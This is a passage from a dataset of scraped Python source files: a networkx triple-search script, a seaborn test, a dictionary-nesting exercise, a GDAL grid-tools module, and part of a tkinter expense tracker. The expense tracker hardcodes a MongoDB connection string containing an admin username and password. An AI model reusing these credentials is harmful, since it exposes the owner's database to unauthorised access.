3\n    Node 5, G.degree(隣接しているノードの数) 1\n    '''\n    s = \"Node \" + str(node) + \", G.degree(隣接しているノードの数) \" + str(G.degree(node)) + '\\n'\n    f.write(s)\n\n# ネットワークの可視化\nnx.draw(G, with_labels = True, node_size = 200)\nplt.show()\n\n#################################################\n# nC3 組み合わせ\nnodes = G.nodes()   # ['0', '1', '2', '3', '4', '5']\nprint(\"len(nodes): \", len(nodes))\ns = \"n=len(nodes): \" + str(len(nodes)) + '\\n'\nf.write(s)\n\nprint(\"Sum of combinations(nＣ3 組み合わせ総数): \", len(list(itr.combinations(nodes, 3))))  # 20\ns = \"Sum of combinations(nＣ3 組み合わせ総数): \" + str(len(list(itr.combinations(nodes, 3)))) + '\\n'\nf.write(s)\n\ns = '---\\n'\nf.write(s)\n\n# nC3 組み合わせ総当たり\ncount_max = 0\nnode_0 = ''\nnode_1 = ''\nnode_2 = ''\n\nnodes = G.nodes()\nprint(\"nodes: \", nodes)\n# ['0', '1', '2', '3', '4', '5']\ns = \"nodes: \" + str(nodes) + '\\n'\nf.write(s)\n\n# このリストを使う。使った要素は除く\nedges = G.edges()\nprint(\"edges: \", edges)\n# [('0', '1'), ('0', '2'), ('1', '2'), ('1', '3'), ('2', '3'), ('2', '4'), ('3', '4'), ('4', '5')]\ns = \"edges: \" + str(edges) + '\\n'\nf.write(s)\n\ndegrees = G.degree()\nprint(\"degrees: \", degrees)\n# [('0', 2), ('1', 3), ('2', 4), ('3', 3), ('4', 3), ('5', 1)]\ns = \"degrees: \" + str(degrees) + '\\n'\nf.write(s)\n\nlist_degrees = []\nfor x in degrees:\n    y = list(x)\n    list_degrees.append(y)\nprint(list_degrees)\n# [['0', 2], ['1', 3], ['2', 4], ['3', 3], ['4', 3], ['5', 1]]\ns = \"list_degrees: \" + str(list_degrees) + '\\n'\nf.write(s)\n\ns = '--- 組み合わせ総当たり\\n'\nf.write(s)\n\n# 15C3 組み合わせの総当たり\nfor x in itr.combinations(nodes, 3):\n    print(\"x: \", x)\n    #('0', '1', '2')\n    s = \"---\\nx: \" + str(x) + '\\n'\n    f.write(s)\n\n    node_0, node_1, node_2 = x\n    # node_0 = x[0]\n    # node_1 = x[1]\n    # node_2 = x[2]\n    print(\"node_0: \", node_0, type(node_0))\n    # node_0:  0 <class 'str'>\n\n    # 初期化\n    get_node = []\n\n    # node_0 のターゲットノードリスト作成\n    # 指定したノードに対する、隣接しているノードの一覧\n    node_0_nodes = list(nx.all_neighbors(G, node_0))\n    print(\"node_0_nodes: \", node_0_nodes, type(node_0_nodes))\n    #  ['1', '2'] <class 'list'>\n    s = \"node_0_nodes: \" + str(node_0_nodes) + '\\n'\n    f.write(s)\n\n    # node_1 のターゲットノードリスト作成\n    # 指定したノードに対する、隣接しているノードの一覧\n    node_1_nodes = list(nx.all_neighbors(G, node_1))\n    print(\"node_1_nodes: \", node_1_nodes, type(node_1_nodes))\n    #  ['0', '2', '3'] <class 'list'>\n    s = \"node_1_nodes: \" + str(node_1_nodes) + '\\n'\n    f.write(s)\n\n    # node_2 のターゲットノードリスト作成\n    # 指定したノードに対する、隣接しているノードの一覧\n    node_2_nodes = list(nx.all_neighbors(G, node_2))\n    print(\"node_2_nodes: \", node_0_nodes, type(node_2_nodes))\n    #  ['0', '1', '3', '4'] <class 'list'>\n    s = \"node_2_nodes: \" + str(node_2_nodes) + '\\n'\n    f.write(s)\n\n    # 取得済みノード一覧に、node_0 のターゲットノード一覧の中のノードが含まれていない場合、これを取得済みノード一覧に追加する\n    for n in range(len(node_0_nodes)):\n        # print(\"n: \", n)\n        if node_0 != node_0_nodes[n]:\n            # node_0 は無条件に追加する\n            get_node.append(node_0_nodes[n])\n\n    print(\"get_node: \", get_node)   # ['1', '2']\n    s = \"get_node: \" + str(get_node) + '\\n'\n    f.write(s)\n\n    # 取得済みノード一覧に、node_1 のターゲットノード一覧の中のノードが含まれていない場合、これを取得済みノード一覧に追加する\n    for n in range(len(node_1_nodes)):\n        nothing = 0\n        for m in range(len(get_node)):\n            if node_1_nodes[n] != get_node[m]:\n                # \"not match\"\n                nothing += 1\n            else:\n                # \"match\"\n                nothing = 0\n                break\n        if nothing > 0:\n            # \"append!\"\n            get_node.append(node_1_nodes[n])\n        # else:\n            # \"not append!\"\n\n    print(\"get_node: \", get_node)   # ['1', '2', '0', '3']\n    s = \"get_node: \" + str(get_node) + '\\n'\n    f.write(s)\n\n    # 取得済みノード一覧に、node_2 のターゲットノード一覧の中のノードが含まれていない場合、これを取得済みノード一覧に追加する\n    for n in range(len(node_2_nodes)):\n        nothing = 0\n        for m in range(len(get_node)):\n            if node_2_nodes[n] != get_node[m]:\n                # \"not match\"\n                nothing += 1\n            else:\n                # \"match\"\n                nothing = 0\n                break\n        if nothing > 0:\n            # \"append!\"\n            get_node.append(node_2_nodes[n])\n        # else:\n            # \"not append!\"\n\n    print(\"get_node: \", get_node)   # ['1', '2', '0', '3', '4']\n    s = \"get_node: \" + str(get_node) + '\\n'\n    f.write(s)\n\n    s = '---\\n'\n    f.write(s)\n\n    # ノード数の合計\n    # ノード数は取得済みノード一覧の中の要素数\n    sum_count = len(get_node)\n    print(\"sum_count(len(get_node)): \", sum_count)\n    s = \"sum_count(len(get_node)): \" + str(sum_count) + '\\n'\n    f.write(s)\n\n    s = '---\\n'\n    f.write(s)\n\n    # ここまでの最大値を更新\n    s = '(' + node_0 + ', ' + node_1 + ', ' + node_2 + ') : ' + str(node_0) + ', ' + str(node_1) + ', ' + str(node_2) + ', ' + ' Sum: ' + str(sum_count) + '\\n\\n'\n    if count_max <= sum_count:\n        # 同値（==）も挙げておいて、Grepで確認する\n        count_max = sum_count\n        node_0_max = node_0\n        node_1_max = node_1\n        node_2_max = node_2\n\n        # 見出し\n        s = '\\n★Max: ' + s\n\n    f.write(s)\n\n# 最終結果\nprint(\"★Result: \", node_0_max, node_1_max, node_2_max, count_max)\ns = '\\n★Result: node_0 = ' + str(node_0_max) + ', node_1 = ' + str(node_1_max) + ', node_2 = ' + str(node_2_max) + ', Sum: ' + str(count_max) + '\\n'\nf.write(s)\n\nf.close()\n\n","repo_name":"keides2/zone-energy","sub_path":"question37.py","file_name":"question37.py","file_ext":"py","file_size_in_byte":10320,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"19213675191","text":"import pandas as pd\nimport endktheme.seaborn\nimport seaborn as sns\n\n\ndef sample_data():\n    return pd.DataFrame({\n        'x': [1, 2, 3, 4, 1, 2, 3, 4],\n        'y': [2, 4, 3, 5, 6, 4, 5, 3],\n        'z': [0.065, 0.62, -0.62, -1.22, 0.70, -0.17, 1.01, -0.53],\n        'type': ['a', 'a', 'b', 'c', 'b', 'b', 'c', 'a'],\n        'group': ['a', 'a', 'a', 'a', 'b', 'b', 'b', 'b']\n    })\n\n\ndef render(tmp_path, fig):\n    fig.savefig(tmp_path / \"plot.png\", dpi=70)\n\n\ndef test_theme(tmp_path):\n    df = sample_data()\n    endktheme.seaborn.use_theme()\n    p = sns.lineplot(data=df, x=\"x\", y=\"y\", hue=\"group\")\n    render(tmp_path, p.get_figure())\n\n\ndef test_palette(tmp_path):\n    df = sample_data()\n    endktheme.seaborn.use_palette()\n    p = sns.lineplot(data=df, x=\"x\", y=\"y\", hue=\"group\")\n    render(tmp_path, p.get_figure())\n","repo_name":"SimonLarsen/python-endktheme","sub_path":"endktheme/tests/test_seaborn.py","file_name":"test_seaborn.py","file_ext":"py","file_size_in_byte":821,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"12801484529","text":"#1.列表中嵌套字典\naliens = []\nfor alien_number in range(30):\n    #new_alien = alien_0  无效--改变new_alien即改变alien\n    new_alien = {'color': 'green', 'points': 5, 'speed': 'slow'}\n    aliens.append(new_alien)\n\nfor alien in aliens:\n    print(alien)\n\n#修改列表\nprint(\"\\n\")\nfor alien in aliens[0:3]:\n    if alien['color'] == 'green':\n        alien['color'] = 'yellow'\n        alien['speed'] = 'medium'\n        alien['points'] = 10\n\nfor alien in aliens[:5]:\n    print(alien)\nprint(\"...\")\n\n#2.字典中嵌套列表\nfavorite_languages = {\n        'jen': ['python', 'ruby'],\n        'sarah': ['c'],\n        'edward': ['ruby', 'go'],\n        'phil': ['python', 'haskell']\n        }\n\nfor name,languages in favorite_languages.items():\n    if len(languages) > 1:\n        print(\"\\n\" + name.title() + \"'s favorite languages are:\")\n        for language in languages:\n            print(\"\\t\" + language.title())\n    else:\n        print(\"\\n\" + name.title() + \"'s favorite language is \"\n                +languages[0].title())\n\n#3.字典中嵌套字典\nusers = {\n        'aeinstein': {\n            'first': 'albert',\n            'last': 'einstein',\n            'location': 'princeton',\n            },\n        'mcurie': {\n            'first': 'marie',\n            'last': 'curie',\n            'location': 'paris',\n            },\n        }\n\nfor username,userinfo in users.items():\n    print(\"\\nUsername:\" + username.title())\n    full_name = userinfo['first'].title() + ' ' +  userinfo['last'].title()\n    location = userinfo['location'].title()\n    print(\"\\tFull name:\" + full_name)\n    print(\"\\tLocation:\" + location)\n\n","repo_name":"Rossettaylm/python_study","sub_path":"python_crash_course/base/dictionary/dic_nestification.py","file_name":"dic_nestification.py","file_ext":"py","file_size_in_byte":1620,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"32005528854","text":"# -*- coding: utf-8 -*-\n# (c) Nelen & Schuurmans.  GPL licensed, see LICENSE.rst.\n\nfrom osgeo import gdal\nfrom osgeo import gdalconst\nfrom osgeo import ogr\n\nfrom matplotlib.backends import backend_agg\nfrom matplotlib import figure\nfrom matplotlib import colors\nfrom matplotlib import cm\nfrom matplotlib import patches\n\nfrom PIL import Image\n\nimport numpy as np\n\n\ndef ds2ma(dataset, bandnumber=1):\n    \"\"\"\n    Return np masked array from band in gdal dataset.\n    \"\"\"\n    band = dataset.GetRasterBand(bandnumber)\n    fill_value = band.GetNoDataValue()\n    array = band.ReadAsArray()\n    mask = np.equal(array, fill_value)\n    masked_array = np.ma.array(array, mask=mask, fill_value=fill_value)\n    return masked_array\n\n\ndef h5ds2ma(dataset):\n    \"\"\"\n    Return np masked array dataset.\n\n    Expects an attribute fillvalue set on dataset.\n    \"\"\"\n    fill_value = dataset.attrs['fill_value']\n    array = dataset[:]\n    mask = np.equal(array, fill_value)\n    masked_array = np.ma.array(array, mask=mask, fill_value=fill_value)\n    return masked_array\n\n\ndef default_normalize(array):\n    normalize = colors.Normalize()\n    return normalize(array)\n\n\nclass BaseGrid(object):\n    \"\"\"\n    A grid is defined by its size, extent and projection.\n\n    Extent is (left, right, top, bottom); cellsize is (width, height);\n    projection is a wkt string.\n    \"\"\"\n    def __init__(self, dataset=None, extent=None, size=None, projection=None):\n        \"\"\"\n        Either use a dataset, or an extent, a cellsize and optionally\n        a projection\n        \"\"\"\n        if dataset and not (extent or size or projection):\n            self._init_from_dataset(dataset)\n        elif (size is not None and extent is not None) and not dataset:\n            for s in size:\n                if not isinstance(s, int):\n                    raise TypeError('Size elements must be of type int.')\n            self.size = size\n            self.extent = extent\n            self.projection = projection\n        else:\n            raise NotImplementedError('Incompatible arguments')\n\n    def _init_from_dataset(self, dataset):\n        self.size = dataset.RasterXSize, dataset.RasterYSize\n        self.projection = dataset.GetProjection()\n\n        x, a, b, y, c, d = dataset.GetGeoTransform()\n        self.extent = x, x + a * self.size[0], y, y + d * self.size[1]\n\n    def get_geotransform(self):\n        left, right, top, bottom = self.extent\n        cellwidth = (right - left) / self.size[0]\n        cellheight = (top - bottom) / self.size[1]\n        return left, cellwidth, 0, top, 0, -cellheight\n\n    def get_center(self):\n        left, right, top, bottom = self.extent\n        return (right - left) / 2, (top - bottom) / 2\n\n    def get_cellsize(self):\n        left, right, top, bottom = self.extent\n        cellwidth = (right - left) / self.size[0]\n        cellheight = (top - bottom) / self.size[1]\n        return cellwidth, cellheight\n\n    def get_shape(self):\n        return self.size[::-1]\n\n    def get_grid(self):\n        \"\"\"\n        Return x and y coordinates of cell centers.\n        \"\"\"\n        cellwidth, cellheight = self.get_cellsize()\n        left, right, top, bottom = self.extent\n\n        xcount, ycount = self.size\n        xmin = left + cellwidth / 2\n        xmax = right - cellwidth / 2\n        ymin = bottom + cellheight / 2\n        ymax = top - cellheight / 2\n\n        y, x = np.mgrid[\n            ymax:ymin:ycount * 1j, xmin:xmax:xcount * 1j]\n        return x, y\n\n    def create_dataset(self, bands=1,\n                       nodatavalue=-9999, datatype=gdalconst.GDT_Float64):\n        \"\"\"\n        Return empty in-memory dataset.\n\n        It has our size, extent and projection.\n        \"\"\"\n        dataset = gdal.GetDriverByName('MEM').Create(\n            '', self.size[0], self.size[1], bands, datatype,\n        )\n        dataset.SetGeoTransform(self.get_geotransform())\n        dataset.SetProjection(self.projection)\n\n        rasterbands = [dataset.GetRasterBand(i + 1) for i in range(bands)]\n        for band in rasterbands:\n            band.SetNoDataValue(nodatavalue)\n            band.Fill(nodatavalue)\n\n        return dataset\n\n    def create_imagelayer(self, image):\n        pass\n\n    def create_vectorlayer(self):\n        \"\"\" Create and return VectorLayer. \"\"\"\n        return VectorLayer(self)\n\n\nclass AbstractLayer(BaseGrid):\n    \"\"\" Add imaging methods \"\"\"\n\n    def _rgba():\n        raise NotImplementedError\n\n    def _save_img(self, filepath):\n        self.image().save(filepath)\n\n    def _save_tif(self, filepath, rgba=True):\n        dataset = self._rgba_dataset() if rgba else self._single_band_dataset()\n        gdal.GetDriverByName('GTiff').CreateCopy(\n            str(filepath), dataset, 0, ['COMPRESS=DEFLATE'],\n        )\n\n    def _save_asc(self, filepath):\n        \"\"\" Save as asc file. \"\"\"\n        dataset = self._single_band_dataset()\n        gdal.GetDriverByName('AAIGrid').CreateCopy(filepath, dataset)\n\n    def _rgba_dataset(self):\n        dataset = self.create_dataset(bands=4, datatype=gdalconst.GDT_Byte)\n        bands = [dataset.GetRasterBand(i + 1) for i in range(4)]\n        data = self._rgba().transpose(2, 0, 1)\n        for band, array in zip(bands, data):\n            band.WriteArray(array)\n        return dataset\n\n    def _single_band_dataset(self):\n        dataset = self.create_dataset()\n        band = dataset.GetRasterBand(1)\n        band.WriteArray(self.ma.filled())\n        band.SetNoDataValue(self.ma.fill_value)\n        return dataset\n\n    def _checker_image(self):\n        pattern = (np.indices(\n            self.get_shape(),\n        ) // 8).sum(0) % 2\n        return Image.fromarray(cm.gray_r(pattern / 2., bytes=True))\n\n    def show(self):\n        \"\"\"\n        Show after adding checker pattern for transparent pixels.\n        \"\"\"\n        image = self.image()\n        checker = self._checker_image()\n        checker.paste(image, None, image)\n        checker.show()\n\n    def image(self):\n        return Image.fromarray(self._rgba())\n\n    def save(self, filepath, **kwargs):\n        \"\"\"\n        Save as image file.\n        \"\"\"\n        if filepath.endswith('.tif') or filepath.endswith('.tiff'):\n            self._save_tif(filepath, **kwargs)\n        elif filepath.endswith('.asc'):\n            self._save_asc(filepath)\n        else:\n            self._save_img(filepath)\n\n\nclass RasterLayer(AbstractLayer):\n    \"\"\"\n    Layer containing grid data.\n    \"\"\"\n    def __init__(self, dataset=None, band=1, colormap=None, normalize=None,\n                 array=None, extent=None, projection=None):\n        if dataset and array is None and extent is None and projection is None:\n            rasterband = dataset.GetRasterBand(band)\n            self._init_from_dataset(dataset=dataset)\n            self._ma_from_rasterband(rasterband=rasterband)\n        elif array is not None and dataset is None:\n            self.size = array.shape[::-1]\n            if extent is None:\n                self.extent = [0, self.size[0], 0, self.size[1]]\n            else:\n                self.extent = extent\n            self.projection = projection\n            self._ma_from_array(array=array)\n        else:\n            raise NotImplementedError('Incompatible arguments')\n\n        self.normalize = normalize or default_normalize\n        self.colormap = colormap or cm.gray\n\n    def _ma_from_rasterband(self, rasterband):\n        \"\"\"\n        Store masked array and gridproperties\n        \"\"\"\n        fill_value = rasterband.GetNoDataValue()\n        array = rasterband.ReadAsArray()\n        mask = np.equal(array, fill_value)\n        self.ma = np.ma.array(array, mask=mask, fill_value=fill_value)\n\n    def _ma_from_array(self, array):\n            self.ma = np.ma.array(\n                array,\n                mask=array.mask if hasattr(array, 'mask') else False,\n            )\n\n    def _rgba(self):\n        return self.colormap(self.normalize(self.ma), bytes=True)\n\n\nclass VectorLayer(AbstractLayer):\n    def __init__(self, basegrid):\n        \"\"\"\n        \"\"\"\n        self.projection = basegrid.projection\n        self.extent = basegrid.extent\n        self.size = basegrid.size\n        self._add_axes()\n\n    def _add_axes(self):\n        \"\"\"\n        Add matplotlib axes with coordinates setup according to geo.\n        \"\"\"\n        dpi = 72\n        figsize = tuple(c / dpi for c in self.size)\n        fig = figure.Figure(figsize, dpi, facecolor='g')\n        fig.patch.set_alpha(0)\n        backend_agg.FigureCanvasAgg(fig)\n\n        rect, axis = self._mpl_config()\n        axes = fig.add_axes(rect, facecolor='y')\n        axes.axis(axis)\n        axes.autoscale(False)\n\n        axes.patch.set_alpha(0)\n        axes.get_xaxis().set_visible(False)\n        axes.get_yaxis().set_visible(False)\n\n        self.axes = axes\n\n    def _mpl_config(self):\n        \"\"\"\n        Return rect, axis.\n\n        To get the matplotlib axes to match exactly the geotransform\n        coordinates, an appropriate combination of the axes rect and\n        the axis limits is required.\n\n        Moreover, a factor is applied to make the axes a little larger\n        than the figure, because otherwise some edge artifacts may\n        be visible.\n        \"\"\"\n        factor = 0.1\n        rect = (-factor, -factor, 1 + 2 * factor, 1 + 2 * factor)\n\n        left, right, top, bottom = self.extent\n        width = right - left\n        height = top - bottom\n        cellwidth, cellheight = self.get_cellsize()\n\n        # For some reason, 2 pixels have to be added to\n        axis = (\n            left - width * factor + cellwidth * 0,\n            right + width * factor + cellwidth * 1,\n            bottom - height * factor + cellheight * 0,\n            top + height * factor + cellheight * 1,\n        )\n\n        return rect, axis\n\n    def _rgba(self):\n        canvas = self.axes.get_figure().canvas\n        buf, shape = canvas.print_to_buffer()\n        rgba = np.fromstring(buf, dtype=np.uint8).reshape(\n            *(self.get_shape() + tuple([4]))\n        )\n        return rgba\n\n    def add_image(self, image_path):\n        \"\"\" Add a raster image, assuming extent matches ours. \"\"\"\n        image = Image.open(image_path)\n        self.axes.imshow(image, extent=self.extent)\n\n    def add_line(self, shapepath, *plotargs, **plotkwargs):\n        \"\"\" Plot shape as matplotlib line \"\"\"\n        dataset = ogr.Open(str(shapepath))\n        for layer in dataset:\n            for feature in layer:\n                x, y = np.array(feature.geometry().GetPoints()).transpose()\n                self.axes.plot(x, y, *plotargs, **plotkwargs)\n\n    def add_patch(self, shapepath, *plotargs, **plotkwargs):\n        \"\"\" Plot shape as matplotlib line \"\"\"\n        dataset = ogr.Open(shapepath)\n        for layer in dataset:\n            for feature in layer:\n                xy = np.array(feature.geometry().GetBoundary().GetPoints())\n                self.axes.add_patch(\n                    patches.Polygon(xy, *plotargs, **plotkwargs)\n                )\n\n    def add_multipolygon(self, shapepath, *plotargs, **plotkwargs):\n        \"\"\" Plot shape as matplotlib line \"\"\"\n        dataset = ogr.Open(shapepath)\n        for layer in dataset:\n            for feature in layer:\n                count = feature.geometry().GetGeometryCount()\n                polygons = [feature.geometry().GetGeometryRef(i)\n                            for i in range(count)]\n                for polygon in polygons:\n                    xy = np.array(polygon.GetBoundary().GetPoints())\n                    self.axes.add_patch(\n                        patches.Polygon(xy, *plotargs, **plotkwargs)\n                    )\n","repo_name":"nens/openradar","sub_path":"openradar/gridtools.py","file_name":"gridtools.py","file_ext":"py","file_size_in_byte":11523,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"10768078473","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Sep  6 17:03:24 2020\n\n@author: student\n\"\"\"\n\nfrom pymongo import MongoClient\nimport pandas as pd\nimport tkinter as tk\nfrom tkcalendar import DateEntry, Calendar\nimport datetime\n#from datetime import datetime as dt\nimport matplotlib.pyplot as plt\nfrom matplotlib.backends.backend_tkagg import FigureCanvasTkAgg\n\n\n# Retrieve documents from MongoDB database\n\ncluster = MongoClient(\"mongodb+srv://admin:dsgs2020@cluster0.avwzd.mongodb.net/expense_analysis?retryWrites=true&w=majority\")\ndb = cluster[\"expense_analysis\"]\ncollection = db[\"expense\"]\ncollection_fixed = db[\"fixed\"]\n\nexp_data = []\ncol_names = ['Date', 'Category', 'Amount']\ncol_names_fixed = ['Rent', 'Health Insurance', 'Mobile Fee']\n\nresults = collection.find()\nnew_id = collection.find().count()\n\nfor result in results:\n    # print(result[\"Date\"])\n    values = [result[\"Date\"], result[\"Category\"], result[\"Amount\"]]\n    zipped = zip(col_names, values)\n    a_row = dict(zipped)\n    # print(a_row)\n    exp_data.append(a_row)\n\nexp_rec = pd.DataFrame(exp_data, columns=col_names)\nprint(exp_rec)\n\n\n# Retrieve fixed expenses\n\nresult_f = collection_fixed.find({\"_id\": 0})\nfixed_data = []\n\nfor result in result_f:\n    values_fixed = [result[\"Rent\"], result[\"HealthInsurance\"], result[\"MobileFee\"]]\n    zipped_fixed = zip(col_names_fixed, values_fixed)\n    row_fixed = dict(zipped_fixed)\n    fixed_data.append(row_fixed)\n    \n\nfixed_exp = pd.DataFrame(fixed_data, columns=col_names_fixed)\n\nfixed_total = fixed_exp.Rent[0] + fixed_exp['Health Insurance'][0] + fixed_exp['Mobile Fee'][0]\n\n\n\n# Old csv file retrieval\n\n# exp_rec = pd.read_csv('/Users/student/Desktop/CS-learning/Python/Python-Stats/expense.csv')\n# print(exp_rec)\n\n#exp_rec = exp_rec.drop(exp_rec[exp_rec.Category == \"Rent\"].index)\n#exp_rec.to_csv('/Users/student/Desktop/CS-learning/Python/Python-Stats/expense.csv', index=False)\n\n# ---- NEW INPUT TEMPLATE ---\n\n#test = {'Date': ['2020-10-24'], 'Category': ['Grocery'], 'Amount': [49.14]}\n#test_df = pd.DataFrame(test, columns=col_names)\n#combined = test_df.append(exp_rec, ignore_index=True)\n#print(combined.head())\n#test_df.to_csv('/Users/student/Desktop/CS-learning/Python/Python-Stats/expense.csv', index=False)\n\n# --- VARIABLES ----\n#amount = 0\n#subcategory = ''\ndateChosen = datetime.date.today()\ntoday = datetime.date.today()\n\nHEIGHT = 650\nWIDTH = 750\n\nroot = tk.Tk()\n\ncanvas = tk.Canvas(root, height=HEIGHT, width=WIDTH)\ncanvas.pack()\n\nframe = tk.Frame(root, bg='#003399', bd=5)\nframe.place(relx=0.5, rely=0.1, relwidth=0.8, relheight=0.8, anchor='n')\n\n\n\nframe2 = tk.Frame(root, bg='#ebc6d9', bd=5)\nframe2.place(relx=0.5, rely=0.1, relwidth=0.8, relheight=0.8, anchor='n')\n\nframe3 = tk.Frame(root, bg=\"#efc6d9\", bd=5)\nframe3.place(relx=0.5, rely=0.1, relwidth=0.8, relheight=0.8, anchor='n')\n\n# frame: current_statement\nframe4 = tk.Frame(root, bg=\"#efc6d9\", bd=5)\nframe4.place(relx=0.5, rely=0.1, relwidth=0.8, relheight=0.8, anchor='n')\n\n# frame: previous_statement\nframe5 = tk.Frame(root, bg=\"#efc6d9\", bd=5)\nframe5.place(relx=0.5, rely=0.1, relwidth=0.8, relheight=0.8, anchor='n')\n\n# frame: calendar\nframe_cal = tk.Frame(root, bg=\"#efc6d9\", bd=5)\nframe_cal.place(relx=0.5, rely=0.1, relwidth=0.8, relheight=0.8, anchor='n')\n\n# frame: statistics\nframe_stat = tk.Frame(root, bg=\"#efc6d9\", bd=5)\nframe_stat.place(relx=0.5, rely=0.1, relwidth=0.8, relheight=0.8, anchor='n')\n\n# frame: setting\nframe_setting = tk.Frame(root, bg=\"#efc6d9\", bd=5)\nframe_setting.place(relx=0.5, rely=0.1, relwidth=0.8, relheight=0.8, anchor='n')\n\n\n#calendar = DateEntry(frame2)\ncalendar = Calendar(frame_cal, year=today.year, month=today.month, day=today.day)\ncalendar.place(relx=0.5, rely=0.3, relwidth=0.7, anchor='n')\n\n\n\ndef calPage():\n    calendar.place(relx=0.5, rely=0.3, relwidth=0.7, anchor='n')\n    frame_cal.place(relx=0.5, rely=0.1, relwidth=0.8, relheight=0.8, anchor='n')\n    frame_cal.tkraise()\n\ndef expPage():\n    #-- Test: date chosen from calendar received properly --\n    #input_date = calendar.get_date()\n    #print(input_date)\n    #datetimetgt = datetime.datetime.strptime(input_date, '%m/%d/%y')\n    #dateChosen = datetimetgt.date()\n    #print(dateChosen)\n    var_amount.set(\"\")\n    \n    frame2.place(relx=0.5, rely=0.1, relwidth=0.8, relheight=0.8, anchor='n')\n    #calendar.place(relx=0.2, rely=0.3, relwidth=0.3, anchor='n')\n    frame2.tkraise()\n    \ndef mainPage():\n    frame.place(relx=0.5, rely=0.1, relwidth=0.8, relheight=0.8, anchor='n')\n    frame.tkraise()\n    \ndef subcatPage():\n    #print(amount)\n    frame3.place(relx=0.5, rely=0.1, relwidth=0.8, relheight=0.8, anchor='n')\n    frame3.tkraise()\n    \ndef quitApp():\n    root.quit()\n\n# Check if the input is a number\ndef check_exp_val():\n    text_exception = tk.StringVar()\n    entry_exception = tk.Entry(frame2, text=text_exception)\n    entry_exception.place(relx=0.5, rely=0.7, relwidth=0.7, anchor='n')\n    \n    boolean = False\n    try:\n        exp_int = float(entry_amount.get())\n        boolean = True\n    except ValueError:\n        text_exception.set(\"* WARNING: Please enter a number\")\n        \n    if (boolean):\n        subcatPage()\n    \ndef subcatValue(val):\n    global new_id\n    global exp_rec\n    \n    input_date = calendar.get_date()\n    print(input_date)\n    datetimetgt = datetime.datetime.strptime(input_date, '%m/%d/%y')\n    dateChosen = datetimetgt.date()\n    \n    subcategory = val\n    print(subcategory)\n    amount = float(entry_amount.get())\n    print(amount)\n    \n    #store to to database\n    new_post = {\"_id\": new_id, 'Date': str(dateChosen), 'Category': subcategory, 'Amount': amount}\n    new_row = {'Date': [dateChosen], 'Category': [subcategory], 'Amount': [amount]}\n    collection.insert_one(new_post)\n    new_id +=1\n    new_df = pd.DataFrame(new_row, columns=col_names)\n    exp_rec = new_df.append(exp_rec, ignore_index=True)\n    print(exp_rec)\n    mainPage()\n   \n    \n    # Old code: store to csv\n    # combined.to_csv('/Users/student/Desktop/CS-learning/Python/Python-Stats/expense.csv', index=False)\n    \n    \n\ndef statsPage():\n    frame_stat.place(relx=0.5, rely=0.1, relwidth=0.8, relheight=0.8, anchor='n')\n    frame_stat.tkraise()\n    \n\ndef stat_basic_current():\n    global exp_rec\n    global fixed_exp\n    global fixed_total\n    \n    #decide which month's statement to present\n    \n    month_chosen = today.month\n    \n        \n    print(month_chosen)\n    \n    frame4.place(relx=0.5, rely=0.1, relwidth=0.8, relheight=0.8, anchor='n')\n    frame4.tkraise()\n    \n    # exp_rec = pd.read_csv('/Users/student/Desktop/CS-learning/Python/Python-Stats/expense.csv')\n    \n    start_date = datetime.datetime(today.year, month_chosen, 1)\n    \n    if (month_chosen != 12):\n        next_month = month_chosen+1\n        next_year = today.year\n    else:\n        next_month = 1\n        next_year = today.year+1\n        \n    end_date = datetime.datetime(next_year, next_month, 1)\n    # Expense filtered by month\n    exp_filtered = exp_rec[ (exp_rec['Date'] >= start_date.strftime('%Y-%m-%d')) \n                           & (exp_rec['Date'] < end_date.strftime('%Y-%m-%d'))]\n    \n    \n    # Expense grouped by Category\n    exp_categorized = exp_filtered.groupby(by=['Category'])['Amount'].sum()\n    \n    fig_exp = plt.Figure(figsize=(6,5), dpi=100)\n    \n    # Pie chart\n    ax2 = fig_exp.add_subplot(221)\n    pie_exp = FigureCanvasTkAgg(fig_exp, frame4)\n    pie_exp.get_tk_widget().pack(side=tk.LEFT, fill=tk.BOTH)\n    exp_categorized.plot.pie(y='Amount', figsize=(6,6), ax=ax2)\n    ax2.set_title('Exepnse by Category')\n    \n    \n    # Create new column: day (in date) for bar graph\n    exp_filtered['Day'] = exp_filtered.Date.apply(lambda x: x[8:])\n    print(exp_filtered)\n    \n    \n    # Expense grouped by Date\n    exp_grouped = exp_filtered.groupby(by=['Day'])['Amount'].sum()\n    \n    # Bar graph\n    ax1 = fig_exp.add_subplot(223)\n    bar_exp = FigureCanvasTkAgg(fig_exp, frame4)\n    bar_exp.get_tk_widget().pack(side=tk.LEFT, fill=tk.BOTH)\n    exp_grouped.plot(kind='bar', x=\"Date\", y=\"Amount\", figsize=(5,4), ax=ax1)\n    ax1.set_title('Monthly Expense Trend- Month: ' + str(month_chosen))\n    \n    # Retrieve fixed expense\n    # fixed_exp = pd.read_csv('/Users/student/Desktop/CS-learning/Python/Python-Stats/fixed.csv')\n    \n    \n    var_exp = exp_filtered['Amount'].sum()\n    \n\n    # Summary stats\n    label_total = tk.Label(frame4, text=\"Total Amount: $ \"\n                           +str(round(fixed_total + var_exp ,2)))\n    label_total.place(relx=0.8, rely=0.1, anchor='n')\n    label_fixed = tk.Label(frame4, text=\"Fixed Expense: $ \" + str(fixed_total))\n    label_fixed.place(relx=0.8, rely=0.2, anchor='n')\n    label_variable = tk.Label(frame4, text=\"Variable Expense: $ \" + str(round(var_exp)))\n    label_variable.place(relx=0.8, rely=0.3, anchor='n')\n    \n    btn_backtoprev_stat2 = tk.Button(frame4, text=\"BACK\", highlightbackground='#b3e6ff', \n              highlightthickness=50, command=statsPage)\n    btn_backtoprev_stat2.place(relx=0.1, rely=0, anchor='n', relwidth=0.1, relheight=0.05)\n\n    btn_backToMain_stat2 = tk.Button(frame4, text=\"HOME\", highlightbackground='#b3e6ff', \n              highlightthickness=50, command=mainPage)\n    btn_backToMain_stat2.place(relx=0.9, rely=0, anchor='n', relwidth=0.1, relheight=0.05)\n\n\ndef stat_basic_prev():\n    global exp_rec\n    global fixed_rec\n    global fixed_total\n    \n    month_chosen = today.month-1\n    \n    frame5.place(relx=0.5, rely=0.1, 